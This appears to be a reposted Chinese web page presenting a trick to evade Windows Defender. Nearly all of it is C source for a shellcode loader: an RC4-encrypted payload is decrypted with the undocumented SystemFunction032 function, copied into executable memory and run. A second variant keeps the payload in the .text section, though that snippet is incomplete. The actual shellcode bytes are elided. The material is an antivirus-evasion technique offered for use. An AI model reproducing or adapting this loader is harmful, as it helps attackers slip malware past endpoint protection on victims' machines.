首页 > 数据库 > 数据库开发技术 > 一个免杀Windows defender的小技巧
NTSTATUS SystemFunction032(struct ustring* data,const struct ustring* key)
exploit:
unsigned char shellcode[] = "\xec\x54\x11\x1e...."typedef NTSTATUS(WINAPI* pSystemFunction032)(PVOID, PVOID);void main() {// encryption Keyunsigned char keyBuf[16] = { 'x', 'x', 'x', 'x', 'x', 'x', 'x', 'x', 'x', 'x', 'x', 'x', 'x', 'x', 'x', 'x' };// RC4 structtypedef struct _USTRING {DWORD Length;DWORD MaximumLength;PVOID Buffer;} USTRING, * PUSTRING;USTRING keyString;keyString.Buffer = keyBuf;keyString.Length = 16;keyString.MaximumLength = 16;USTRING imgString;int size = sizeof(shellcode);DWORD tProcess = GetCurrentProcessId();printf("Current Process ID: %d\n", tProcess);HANDLE pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, tProcess);printf("Process Handle: %d\n", pHandle);LPVOID rPtr = VirtualAllocEx(pHandle,NULL,size,MEM_COMMIT,PAGE_EXECUTE_READWRITE);WriteProcessMemory(pHandle, rPtr, shellcode, size, NULL);imgString.Buffer = rPtr;imgString.Length = size;imgString.MaximumLength = size;// Call SystemFunction032HMODULE hModule = LoadLibraryA("Advapi32.dll");pSystemFunction032 SystemFunction032 = (pSystemFunction032)GetProcAddress(hModule, "SystemFunction032");SystemFunction032(&imgString, &keyString);((void(*)())rPtr)();}
可以将payload包含在.text节中,该节通常默认具有RX权限,这样避免了更改内存权限,将 payload写入内存这些动作
unsigned char shellcode[] = "\xec\x54\x11\x1e...."// encryption Keyunsigned char keyBuf[16] = { 'x', 'x', 'x', 'x', 'x', 'x', 'x', 'x', 'x', 'x', 'x', 'x', 'x', 'x', 'x', 'x' };// RC4 structtypedef struct _USTRING {DWORD Length;DWORD MaximumLength;PVOID Buffer;} USTRING, * PUSTRING;USTRING keyString;keyString.Buffer = keyBuf;keyString.Length = 16;keyString.MaximumLength = 16;USTRING imgString;int size = sizeof(shellcode);imgString.Buffer = rPtr;imgString.Length = size;imgString.MaximumLength = size;// Call SystemFunction032HMODULE hModule = LoadLibraryA("Advapi32.dll");pSystemFunction032 SystemFunction032 = (pSystemFunction032)GetProcAddress(hModule, "SystemFunction032");SystemFunction032(&imgString, &keyString);((void(*)())rPtr)();
效果:
原文作者:老鑫安全;如有侵权,请联系管理员删除。